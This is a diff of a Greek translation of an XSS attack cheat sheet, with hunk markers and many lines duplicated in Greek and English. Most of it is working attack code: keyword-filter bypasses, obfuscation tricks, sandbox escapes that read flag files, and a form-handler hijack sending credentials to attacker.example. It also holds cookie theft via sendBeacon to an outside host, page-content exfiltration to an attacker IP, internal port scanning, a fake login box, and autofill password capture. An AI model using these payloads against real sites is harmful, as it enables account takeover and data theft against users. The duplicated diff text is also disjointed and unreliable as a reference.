Για να κρατήσετε τις URLs πιο σύντομες και να παρακάμψετε αφελή φίλτρα λέξεων-κλειδιών, μπορείτε να κωδικοποιήσετε σε base64 την πραγματική λογική σας και να την εκτελέσετε με `eval(atob('...'))`. Εάν απλό φιλτράρισμα λέξεων-κλειδιών αποκλείει αναγνωριστικά όπως `alert`, `eval`, ή `atob`, χρησιμοποιήστε αναγνωριστικά με Unicode-escape που μεταγλωττίζονται ακριβώς με τον ίδιο τρόπο στον browser αλλά παρακάμπτουν φίλτρα που ταιριάζουν συμβολοσειρές:
|
||||
```
|
||||
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
|
||||
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
|
||||
```
|
||||
Σημαντική λεπτομέρεια σχετικά με το πεδίο ορατότητας: `const`/`let` declared inside `eval()` are block-scoped and do NOT create globals; they won’t be accessible to later scripts. Χρησιμοποιήστε ένα στοιχείο `<script>` που εισάγεται δυναμικά για να ορίσετε global, non-rebindable hooks όταν χρειάζεται (π.χ., για να hijack έναν form handler):
|
||||
Σημαντική λεπτομέρεια σχετικά με το πεδίο ορατότητας: `const`/`let` που δηλώνονται μέσα σε `eval()` είναι block-scoped και ΔΕΝ δημιουργούν globals· δεν θα είναι προσβάσιμες από μετέπειτα scripts. Χρησιμοποίησε ένα δυναμικά εισαγόμενο στοιχείο `<script>` για να ορίσεις global, μη επαναδεσμεύσιμα hooks όταν χρειάζεται (π.χ. για να hijack έναν form handler):
|
||||
```javascript
|
||||
var s = document.createElement('script');
|
||||
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
|
||||
@ -547,15 +547,15 @@ document.head.appendChild(s);
|
||||
```
|
||||
Αναφορά: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
|
||||
|
||||
### Κωδικοποίηση Unicode για εκτέλεση JS
|
||||
### Εκτέλεση JS με κωδικοποίηση Unicode
|
||||
```javascript
|
||||
alert(1)
|
||||
alert(1)
|
||||
alert(1)
|
||||
```
|
||||
### JavaScript τεχνικές παράκαμψης blacklists
|
||||
### JavaScript bypass blacklists τεχνικές
|
||||
|
||||
**Strings**
|
||||
**Συμβολοσειρές**
|
||||
```javascript
|
||||
"thisisastring"
|
||||
'thisisastrig'
|
||||
@ -591,7 +591,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||
<TAB>
|
||||
/**/
|
||||
```
|
||||
**JavaScript comments (από** [**JavaScript Comments**](#javascript-comments) **κόλπο)**
|
||||
**JavaScript σχόλια (από** [**JavaScript Comments**](#javascript-comments) **τεχνική)**
|
||||
```javascript
|
||||
//This is a 1 line comment
|
||||
/* This is a multiline comment*/
|
||||
@ -599,7 +599,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
||||
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
||||
```
|
||||
**Νέες γραμμές JavaScript (από το** [**JavaScript new line**](#javascript-new-lines) **κόλπο)**
|
||||
**JavaScript new lines (από** [**JavaScript new line**](#javascript-new-lines) **κόλπο)**
|
||||
```javascript
|
||||
//Javascript interpret as new line these chars:
|
||||
String.fromCharCode(10)
|
||||
@ -611,7 +611,7 @@ alert("//\u2028alert(1)") //0xe2 0x80 0xa8
|
||||
String.fromCharCode(8233)
|
||||
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
|
||||
```
|
||||
**JavaScript κενά**
|
||||
**JavaScript λευκοί χαρακτήρες**
|
||||
```javascript
|
||||
log=[];
|
||||
function funct(){}
|
||||
@ -714,7 +714,7 @@ try{throw onerror=alert}catch{throw 1}
|
||||
- [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
|
||||
- [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
|
||||
|
||||
**Κλήση αυθαίρετης function (alert)**
|
||||
**Κλήση αυθαίρετης συνάρτησης (alert)**
|
||||
```javascript
|
||||
//Eval like functions
|
||||
eval('ale'+'rt(1)')
|
||||
@ -776,62 +776,61 @@ top[8680439..toString(30)](1)
|
||||
```
|
||||
## **DOM vulnerabilities**
|
||||
|
||||
Υπάρχει **JS code** που χρησιμοποιεί **μη ασφαλή δεδομένα ελεγχόμενα από attacker** όπως `location.href`. Ο attacker μπορεί να το εκμεταλλευτεί για να εκτελέσει αυθαίρετο JS code.\
|
||||
**Εξαιτίας της έκτασης της εξήγησης των** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**
|
||||
|
||||
Υπάρχει **JS code** που χρησιμοποιεί **μη ασφαλή δεδομένα ελεγχόμενα από έναν attacker** όπως `location.href`. Ένας attacker μπορεί να εκμεταλλευτεί αυτό για να εκτελέσει arbitrary JS code.
|
||||
**Λόγω της εκτενούς εξήγησης των** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**
|
||||
|
||||
{{#ref}}
|
||||
dom-xss.md
|
||||
{{#endref}}
|
||||
|
||||
Εκεί θα βρείτε μια λεπτομερή **εξήγηση του τι είναι οι DOM vulnerabilities, πώς προκαλούνται, και πώς να τις εκμεταλλευτείτε**.\
|
||||
Επίσης, μην ξεχάσετε ότι **στο τέλος του αναφερόμενου άρθρου** μπορείτε να βρείτε μια εξήγηση σχετικά με [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering).
|
||||
Εκεί θα βρείτε μια λεπτομερή **εξήγηση του τι είναι οι DOM vulnerabilities, πώς προκαλούνται και πώς να τις εκμεταλλευτείτε**.
|
||||
Επίσης, μην ξεχάσετε ότι **στο τέλος της αναφερόμενης ανάρτησης** μπορείτε να βρείτε εξήγηση για [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering).
|
||||
|
||||
### Αναβάθμιση Self-XSS
|
||||
|
||||
### Cookie XSS
|
||||
|
||||
Αν μπορείτε να προκαλέσετε XSS στέλνοντας το payload μέσα σε ένα cookie, αυτό συνήθως είναι self-XSS. Ωστόσο, αν βρείτε ένα **vulnerable subdomain to XSS**, μπορείτε να εκμεταλλευτείτε αυτό το XSS για να εγχύσετε ένα cookie σε ολόκληρο το domain, καταφέρνοντας να ενεργοποιήσετε το cookie XSS στο main domain ή σε άλλα subdomains (αυτά που είναι vulnerable σε cookie XSS). Για αυτό μπορείτε να χρησιμοποιήσετε το cookie tossing attack:
|
||||
Αν μπορείτε να προκαλέσετε ένα XSS στέλνοντας το payload μέσα σε ένα cookie, αυτό συνήθως είναι self-XSS. Ωστόσο, αν βρείτε ένα **vulnerable subdomain to XSS**, μπορείτε να εκμεταλλευτείτε αυτό το XSS για να εγχύσετε ένα cookie σε ολόκληρο το domain, καταφέρνοντας να ενεργοποιήσετε το cookie XSS στο κύριο domain ή σε άλλα subdomains (αυτά που είναι vulnerable σε cookie XSS). Για αυτό μπορείτε να χρησιμοποιήσετε το cookie tossing attack:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../hacking-with-cookies/cookie-tossing.md
|
||||
{{#endref}}
|
||||
|
||||
Μπορείτε να βρείτε μια εξαιρετική κατάχρηση αυτής της τεχνικής σε [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
|
||||
Μπορείτε να βρείτε ένα εξαιρετικό παράδειγμα κατάχρησης αυτής της τεχνικής σε [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
|
||||
|
||||
### Sending your session to the admin
|
||||
|
||||
Ίσως ένας user να μπορεί να μοιραστεί το profile του με τον admin και αν το self XSS βρίσκεται μέσα στο profile του user και ο admin το ανοίξει, θα ενεργοποιήσει την ευπάθεια.
|
||||
Ίσως ένας χρήστης να μπορεί να μοιραστεί το προφίλ του με τον admin και αν το self XSS βρίσκεται μέσα στο προφίλ του χρήστη και ο admin το ανοίξει, θα ενεργοποιήσει την ευπάθεια.
|
||||
|
||||
### Session Mirroring
|
||||
|
||||
Αν βρείτε self XSS και η σελίδα έχει **session mirroring for administrators**, για παράδειγμα επιτρέποντας στους clients να ζητήσουν βοήθεια και ώστε ο admin να σας βοηθήσει θα βλέπει αυτό που βλέπετε στην session σας αλλά από τη δική του session.
|
||||
Αν βρείτε κάποιο self XSS και η ιστοσελίδα έχει **session mirroring for administrators**, για παράδειγμα επιτρέποντας στους clients να ζητήσουν βοήθεια και ώστε ο admin να σας βοηθήσει, αυτός θα βλέπει ό,τι βλέπετε στη session σας αλλά από τη δική του session.
|
||||
|
||||
Μπορείτε να κάνετε τον **administrator να ενεργοποιήσει το self XSS σας** και να κλέψετε τα cookies/session του.
|
||||
|
||||
## Other Bypasses
|
||||
## Άλλες Παρακάμψεις
|
||||
|
||||
### Normalised Unicode
|
||||
|
||||
Μπορείτε να ελέγξετε αν οι **reflected values** κανονικοποιούνται ως **unicode normalized** στον server (ή στο client side) και να καταχραστείτε αυτή τη λειτουργικότητα για να παρακάμψετε protections. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
|
||||
Μπορείτε να ελέγξετε αν οι **reflected values** υποβάλλονται σε **unicode normalized** στον server (ή στο client side) και να καταχραστείτε αυτή τη λειτουργία για να παρακάμψετε προστασίες. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
|
||||
|
||||
### PHP FILTER_VALIDATE_EMAIL flag Bypass
|
||||
```javascript
|
||||
"><svg/onload=confirm(1)>"@x.y
|
||||
```
|
||||
### Ruby-On-Rails bypass
|
||||
### Ruby-On-Rails παράκαμψη
|
||||
|
||||
Εξαιτίας του **RoR mass assignment** εισαγωγικά εισάγονται στο HTML και τότε ο περιορισμός των εισαγωγικών παρακάμπτεται και πρόσθετα πεδία (onfocus) μπορούν να προστεθούν μέσα στο tag.\
|
||||
Λόγω του **RoR mass assignment** εισάγονται εισαγωγικά στο HTML και έτσι ο περιορισμός των εισαγωγικών παρακάμπτεται και επιπλέον πεδία (onfocus) μπορούν να προστεθούν μέσα στο tag.\
|
||||
Παράδειγμα φόρμας ([from this report](https://hackerone.com/reports/709336)), αν στείλεις το payload:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
```
|
||||
Το ζεύγος "Key","Value" θα επιστραφεί ως εξής:
|
||||
Το ζεύγος "Key","Value" θα εμφανιστεί ως εξής:
|
||||
```
|
||||
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
||||
```
|
||||
Τότε, το onfocus attribute θα εισαχθεί και θα προκύψει XSS.
|
||||
Τότε, θα εισαχθεί το χαρακτηριστικό onfocus και θα προκληθεί XSS.
|
||||
|
||||
### Ειδικοί συνδυασμοί
|
||||
```html
|
||||
@ -863,16 +862,16 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
|
||||
document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
### XSS with header injection in a 302 response
|
||||
### XSS με header injection σε απάντηση 302
|
||||
|
||||
Αν διαπιστώσετε ότι μπορείτε να **inject headers σε μια 302 Redirect response** μπορείτε να προσπαθήσετε να **αναγκάσετε το browser να εκτελέσει αυθαίρετο JavaScript**. Αυτό δεν είναι **εύκολο** καθώς οι σύγχρονοι browsers δεν ερμηνεύουν το HTTP response body όταν ο HTTP response status code είναι 302, οπότε ένα απλό cross-site scripting payload είναι άχρηστο.
|
||||
Αν διαπιστώσετε ότι μπορείτε να **inject headers σε μια 302 Redirect response** μπορείτε να προσπαθήσετε να **κάνετε το browser να εκτελέσει αυθαίρετο JavaScript**. Αυτό **δεν είναι απλό**, καθώς οι σύγχρονοι browsers δεν ερμηνεύουν το σώμα της HTTP απάντησης αν ο HTTP response status code είναι 302, οπότε ένα απλό cross-site scripting payload είναι άχρηστο.
|
||||
|
||||
In [**this report**](https://www.gremwell.com/firefox-xss-302) and [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.\
|
||||
Στα [**this report**](https://www.gremwell.com/firefox-xss-302) και [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) μπορείτε να διαβάσετε πώς να δοκιμάσετε διάφορα πρωτόκολλα μέσα στο Location header και να δείτε αν κάποιο από αυτά επιτρέπει στο browser να ελέγξει και να εκτελέσει το XSS payload μέσα στο body.\
|
||||
Past known protocols: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.
|
||||
|
||||
### Only Letters, Numbers and Dots
|
||||
|
||||
Εάν μπορείτε να καθορίσετε το **callback** που το javascript πρόκειται να **εκτελέσει** περιορισμένο σε αυτούς τους χαρακτήρες. [**Read this section of this post**](#javascript-function) to find how to abuse this behaviour.
|
||||
Αν μπορείτε να ορίσετε το **callback** που πρόκειται να εκτελέσει η javascript περιορισμένο σε αυτούς τους χαρακτήρες. [**Read this section of this post**](#javascript-function) για να μάθετε πώς να εκμεταλλευτείτε αυτή τη συμπεριφορά.
|
||||
|
||||
### Valid `<script>` Content-Types to XSS
|
||||
|
||||
@ -880,7 +879,7 @@ Past known protocols: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location
|
||||
|
||||
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
|
||||
|
||||
Οι μόνες **Content-Type** που θα επιτρέψουν στο Chrome να εκτελέσει ένα **loaded script** είναι αυτές που βρίσκονται μέσα στην const **`kSupportedJavascriptTypes`** από [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
|
||||
The only **Content-Type**s that will support Chrome to run a **loaded script** are the ones inside the const **`kSupportedJavascriptTypes`** from [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
|
||||
```c
|
||||
const char* const kSupportedJavascriptTypes[] = {
|
||||
"application/ecmascript",
|
||||
@ -902,16 +901,16 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||
};
|
||||
|
||||
```
|
||||
### Τύποι Script για XSS
|
||||
### Τύποι script για XSS
|
||||
|
||||
(Από [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Λοιπόν, ποιοι τύποι θα μπορούσαν να δηλωθούν για τη φόρτωση ενός script;
|
||||
(Από [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Άρα, ποιοι τύποι μπορούν να δηλωθούν για να φορτώσουν ένα script;
|
||||
```html
|
||||
<script type="???"></script>
|
||||
```
|
||||
Η απάντηση είναι:
|
||||
|
||||
- **module** (προεπιλογή, δεν χρειάζεται εξήγηση)
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles είναι μια λειτουργία που σας επιτρέπει να πακετάρετε ένα σύνολο δεδομένων (HTML, CSS, JS…) μαζί σε ένα αρχείο **`.wbn`**.
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles είναι μια λειτουργία που σας επιτρέπει να συσκευάσετε μια συλλογή δεδομένων (HTML, CSS, JS…) μαζί σε ένα αρχείο **`.wbn`**.
|
||||
```html
|
||||
<script type="webbundle">
|
||||
{
|
||||
@ -938,9 +937,9 @@ import moment from "moment"
|
||||
import { partition } from "lodash"
|
||||
</script>
|
||||
```
|
||||
Αυτή η συμπεριφορά χρησιμοποιήθηκε στο [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) για να επαναχαρτογραφήσει μια βιβλιοθήκη στο eval, κατάχρηση της οποίας μπορεί να ενεργοποιήσει XSS.
|
||||
Αυτή η συμπεριφορά χρησιμοποιήθηκε στο [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) για να αντιστοιχιστεί μια βιβλιοθήκη στο eval — η κατάχρησή της μπορεί να ενεργοποιήσει XSS.
|
||||
|
||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Αυτή η δυνατότητα στοχεύει κυρίως στην επίλυση ορισμένων προβλημάτων που προκαλούνται από το pre-rendering. Λειτουργεί ως εξής:
|
||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Αυτή η λειτουργία αποσκοπεί κυρίως στην επίλυση ορισμένων προβλημάτων που προκαλούνται από το pre-rendering. Λειτουργεί ως εξής:
|
||||
```html
|
||||
<script type="speculationrules">
|
||||
{
|
||||
@ -958,22 +957,22 @@ import { partition } from "lodash"
|
||||
```
|
||||
### Web Content-Types για XSS
|
||||
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Οι ακόλουθοι τύποι περιεχομένου μπορούν να εκτελέσουν XSS σε όλα τα προγράμματα περιήγησης:
|
||||
(Από [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Οι παρακάτω Content-Types μπορούν να εκτελέσουν XSS σε όλους τους browsers:
|
||||
|
||||
- text/html
|
||||
- application/xhtml+xml
|
||||
- application/xml
|
||||
- text/xml
|
||||
- image/svg+xml
|
||||
- text/plain (?? όχι στη λίστα αλλά νομίζω το είδα σε CTF)
|
||||
- text/plain (?? not in the list but I think I saw this in a CTF)
|
||||
- application/rss+xml (off)
|
||||
- application/atom+xml (off)
|
||||
|
||||
Σε άλλα προγράμματα περιήγησης άλλοι **`Content-Types`** μπορούν να χρησιμοποιηθούν για την εκτέλεση αυθαίρετου JS, δείτε: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
Σε άλλους browsers, άλλα **`Content-Types`** μπορούν να χρησιμοποιηθούν για να εκτελέσουν αυθαίρετο JS, δες: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
|
||||
### xml Content Type
|
||||
|
||||
Εάν η σελίδα επιστρέφει content-type text/xml, είναι δυνατό να δηλωθεί ένα namespace και να εκτελεστεί αυθαίρετο JS:
|
||||
Αν η σελίδα επιστρέφει content-type text/xml, είναι δυνατό να υποδειχθεί ένα namespace και να εκτελεστεί αυθαίρετο JS:
|
||||
```xml
|
||||
<xml>
|
||||
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
|
||||
@ -981,11 +980,11 @@ import { partition } from "lodash"
|
||||
|
||||
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
|
||||
```
|
||||
### Ειδικά πρότυπα αντικατάστασης
|
||||
### Ειδικά Πρότυπα Αντικατάστασης
|
||||
|
||||
Όταν κάτι σαν **`"some {{template}} data".replace("{{template}}", <user_input>)`** χρησιμοποιείται. Ο attacker θα μπορούσε να χρησιμοποιήσει [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) για να προσπαθήσει να παρακάμψει κάποιες προστασίες: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||
Όταν χρησιμοποιείται κάτι σαν **`"some {{template}} data".replace("{{template}}", <user_input>)`**. Ο επιτιθέμενος θα μπορούσε να χρησιμοποιήσει [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) για να προσπαθήσει να παρακάμψει κάποιες προστασίες: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||
|
||||
For example in [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), this was used to **scape a JSON string** inside a script and execute arbitrary code.
|
||||
Για παράδειγμα, στο [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), αυτό χρησιμοποιήθηκε για να **scape a JSON string** μέσα σε ένα script και να εκτελέσει αυθαίρετο κώδικα.
|
||||
|
||||
### Chrome Cache to XSS
|
||||
|
||||
@ -996,7 +995,7 @@ chrome-cache-to-xss.md
|
||||
|
||||
### XS Jails Escape
|
||||
|
||||
Αν έχεις μόνο περιορισμένο σύνολο χαρακτήρων για χρήση, έλεγξε αυτές τις άλλες έγκυρες λύσεις για προβλήματα XSJail:
|
||||
Αν έχεις μόνο περιορισμένο σύνολο χαρακτήρων προς χρήση, έλεγξε αυτές τις άλλες έγκυρες λύσεις για προβλήματα XSJail:
|
||||
```javascript
|
||||
// eval + unescape + regex
|
||||
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
|
||||
@ -1027,22 +1026,22 @@ constructor(source)()
|
||||
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||
```
|
||||
Αν **όλα είναι undefined** πριν την εκτέλεση untrusted code (όπως στο [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) είναι δυνατό να δημιουργηθούν χρήσιμα αντικείμενα "από το τίποτα" για να καταχραστείτε την εκτέλεση arbitrary untrusted code:
|
||||
Αν **όλα είναι undefined** πριν την εκτέλεση μη αξιόπιστου κώδικα (όπως σε [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) είναι δυνατόν να δημιουργηθούν χρήσιμα αντικείμενα "εκ του μηδενός" για να καταχραστεί η εκτέλεση αυθαίρετου μη αξιόπιστου κώδικα:
|
||||
|
||||
- Χρησιμοποιώντας import()
|
||||
- Χρήση import()
|
||||
```javascript
|
||||
// although import "fs" doesn’t work, import('fs') does.
|
||||
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||
```
|
||||
- Πρόσβαση στο `require` έμμεσα
|
||||
|
||||
[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) τα modules τυλίγονται από το Node.js μέσα σε μια συνάρτηση, όπως αυτή:
|
||||
[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) τα modules τυλίγονται από το Node.js μέσα σε μια συνάρτηση, όπως φαίνεται παρακάτω:
|
||||
```javascript
|
||||
;(function (exports, require, module, __filename, __dirname) {
|
||||
// our actual module code
|
||||
})
|
||||
```
|
||||
Επομένως, αν από εκείνο το module μπορούμε να **call another function**, είναι δυνατό να χρησιμοποιήσουμε `arguments.callee.caller.arguments[1]` από εκείνη την function για να αποκτήσουμε πρόσβαση στο **`require`**:
|
||||
Επομένως, αν από εκείνη τη μονάδα μπορούμε να **καλέσουμε άλλη συνάρτηση**, είναι δυνατόν να χρησιμοποιήσουμε `arguments.callee.caller.arguments[1]` από αυτή τη συνάρτηση για να αποκτήσουμε πρόσβαση στο **`require`**:
|
||||
```javascript
|
||||
;(function () {
|
||||
return arguments.callee.caller.arguments[1]("fs").readFileSync(
|
||||
@ -1051,7 +1050,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
|
||||
)
|
||||
})()
|
||||
```
|
||||
Με παρόμοιο τρόπο με το προηγούμενο παράδειγμα, είναι δυνατό να **use error handlers** για να αποκτήσετε πρόσβαση στο **wrapper** του module και να πάρετε τη **`require`** function:
|
||||
Με παρόμοιο τρόπο με το προηγούμενο παράδειγμα, είναι δυνατό να **use error handlers** για να αποκτήσετε πρόσβαση στον **wrapper** του **module** και να πάρετε τη **`require`** function:
|
||||
```javascript
|
||||
try {
|
||||
null.f()
|
||||
@ -1091,7 +1090,7 @@ trigger()
|
||||
```
|
||||
### Obfuscation & Advanced Bypass
|
||||
|
||||
- **Διάφορα obfuscations σε μία σελίδα:** [https://aem1k.com/aurebesh.js/](https://aem1k.com/aurebesh.js/)
|
||||
- **Διαφορετικές obfuscations σε μία σελίδα:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
- [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
||||
- [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||||
- [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
|
||||
@ -1270,7 +1269,7 @@ o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
|
||||
```javascript
|
||||
// It's also possible to execute JS code only with the chars: []`+!${}
|
||||
```
|
||||
## XSS συνηθισμένα payloads
|
||||
## XSS common payloads
|
||||
|
||||
### Πολλαπλά payloads σε 1
|
||||
|
||||
@ -1281,7 +1280,7 @@ steal-info-js.md
|
||||
|
||||
### Iframe Trap
|
||||
|
||||
Κάντε τον χρήστη να πλοηγηθεί στη σελίδα χωρίς να βγει από το iframe και να κλέψετε τις ενέργειές του (συμπεριλαμβανομένων των πληροφοριών που αποστέλλονται σε φόρμες):
|
||||
Κάντε τον χρήστη να πλοηγηθεί στη σελίδα χωρίς να βγει από το iframe και να υποκλέψετε τις ενέργειές του (συμπεριλαμβανομένων των πληροφοριών που αποστέλλονται σε φόρμες):
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -1311,9 +1310,9 @@ steal-info-js.md
|
||||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||||
```
|
||||
> [!TIP]
|
||||
> **Δεν θα μπορείτε να αποκτήσετε πρόσβαση στα cookies από JavaScript** εάν η σημαία HTTPOnly έχει οριστεί στο cookie. Αλλά εδώ έχετε [some ways to bypass this protection](../hacking-with-cookies/index.html#httponly) αν είστε αρκετά τυχεροί.
|
||||
> **Δεν θα μπορείτε να αποκτήσετε πρόσβαση στα cookies από JavaScript** αν το flag HTTPOnly έχει οριστεί στο cookie. Αλλά εδώ έχετε [μερικούς τρόπους για να παρακάμψετε αυτήν την προστασία](../hacking-with-cookies/index.html#httponly) αν είστε αρκετά τυχεροί.
|
||||
|
||||
### Κλοπή περιεχομένου της σελίδας
|
||||
### Κλέψτε το περιεχόμενο της σελίδας
|
||||
```javascript
|
||||
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
|
||||
var attacker = "http://10.10.14.8/exfil"
|
||||
@ -1326,7 +1325,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
|
||||
xhr.open("GET", url, true)
|
||||
xhr.send(null)
|
||||
```
|
||||
### Εύρεση internal IPs
|
||||
### Εύρεση εσωτερικών διευθύνσεων IP
|
||||
```html
|
||||
<script>
|
||||
var q = []
|
||||
@ -1402,15 +1401,15 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
|
||||
};
|
||||
}
|
||||
```
|
||||
_Σύντομοι χρόνοι δείχνουν ότι το port ανταποκρίνεται_ _Μεγαλύτεροι χρόνοι δείχνουν ότι δεν υπάρχει απάντηση._
|
||||
_Σύντομοι χρόνοι υποδεικνύουν θύρα που ανταποκρίνεται_ _Μεγαλύτεροι χρόνοι υποδεικνύουν μη ανταπόκριση._
|
||||
|
||||
Ελέγξτε τη λίστα των ports που απαγορεύονται στο Chrome [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) και στο Firefox [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
Ελέγξτε τη λίστα θυρών που απαγορεύονται στο Chrome [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) και στον Firefox [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
|
||||
### Πλαίσιο για αίτηση credentials
|
||||
### Πλαίσιο για να ζητήσετε credentials
|
||||
```html
|
||||
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
|
||||
```
|
||||
### Καταγραφή αυτόματης συμπλήρωσης κωδικών
|
||||
### Καταγραφή κωδικών Auto-fill
|
||||
```javascript
|
||||
<b>Username:</><br>
|
||||
<input name=username id=username>
|
||||
@ -1421,11 +1420,11 @@ mode: 'no-cors',
|
||||
body:username.value+':'+this.value
|
||||
});">
|
||||
```
|
||||
Όταν οποιαδήποτε δεδομένα εισαχθούν στο password field, το username και το password αποστέλλονται στον attackers server — ακόμα και αν ο client επιλέξει ένα saved password και δεν γράψει τίποτα, τα credentials θα είναι ex-filtrated.
|
||||
When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated.
|
||||
|
||||
### Hijack form handlers to exfiltrate credentials (const shadowing)
|
||||
|
||||
